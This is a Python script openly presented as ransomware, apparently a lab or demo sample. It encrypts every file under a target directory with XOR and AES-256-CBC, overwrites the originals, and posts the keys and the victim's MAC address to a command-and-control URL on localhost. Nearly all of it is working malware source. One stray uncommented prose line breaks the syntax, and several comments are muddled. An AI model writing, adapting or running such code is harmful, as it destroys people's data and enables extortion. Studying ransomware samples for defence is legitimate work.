#!/usr/bin/python3
import requests
# Importing the modules of Binary to ASCII
import binascii
# Importing the Modules for running 64 Based Decoding of encryption Keys that can handle by any Operating Systems
import base64
# Importing the module for collecting MAC address for target Attack
import getmac
# Importing the Library for resolving URL
import urllib
# Importing the library to work files on any Operating Systems
import os
# Importing and loading hash library to encrypt
import hashlib
# Using modules for using Crypto-cypher algorithm to generate random keys for encryption
from colored import fg, attr
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto import Random
from Crypto.Random import get_random_bytes

# The main encryption format class and attributes
class Ransomware:
	def encrypt(self, file):
		print("{}[+] encrypting -> {}{}".format(fg(9), file, attr(0)))
		fd = open(file, "rb")
		data = binascii.hexlify(fd.read())
		fd.close()

		# Basic XOR algorithm to convert binary to ASCII encryption
		xored_data = b""
		i = 0
		while i < len(data):
			xored_data += chr(data[i] ^ self.xor_key[i % len(self.xor_key)]).encode()
			i += 1

		# Writing AES-256-CBC Encryption
		cipher = AES.new(self.enc_key, AES.MODE_CBC, self.iv)
		ciphertext = cipher.encrypt(pad(xored_data, AES.block_size))

		# write encrypted file to disk
		fd = open(file, "wb")
		fd.write(ciphertext)
		fd.close()


	def generate_keys(self):
		# generate encryption keys
		print("{}[*] generating encryption keys...{}".format(fg(10), attr(0)))
		self.xor_key = binascii.hexlify(Random.new().read(AES.block_size - 8))
		self.enc_key = hashlib.sha256(self.xor_key + Random.new().read(AES.block_size)).digest()
		self.iv = Random.new().read(AES.block_size)
		self.victim_mac_address = getmac.get_mac_address().encode()
		self.save_keys()

Private key generation based on MAC address through a Control Server using random key generation methods
	def save_keys(self):
		# send encryption keys to command and control (C2) server
		print("{}[*] saving encryption keys to command and control (C2) server...{}".format(fg(10), attr(0)))
		c2_url = "http://127.0.0.1:1337/save_keys"
		data = {"mac_address": self.encode_keys(self.victim_mac_address), "enc_key": self.encode_keys(self.enc_key), "xor_key": self.encode_keys(self.xor_key), "iv": self.encode_keys(self.iv)}
		response = requests.post(c2_url, data = data)


	def dir_to_encrypt(self, dir_name):
		self.generate_keys()
		# what directory to encrypt
		print("{}[*] encrypting '{}' directory{}".format(fg(10), dir_name, attr(0)))
		for root, subdirs, files in os.walk(dir_name):
			for file in files:
				self.encrypt("{}/{}".format(root, file))


	def encode_keys(self, key):
		# encode keys before sending to C2 server
		return urllib.parse.quote(base64.b64encode(key))


ransom = Ransomware()
ransom.dir_to_encrypt("/insensitive-files")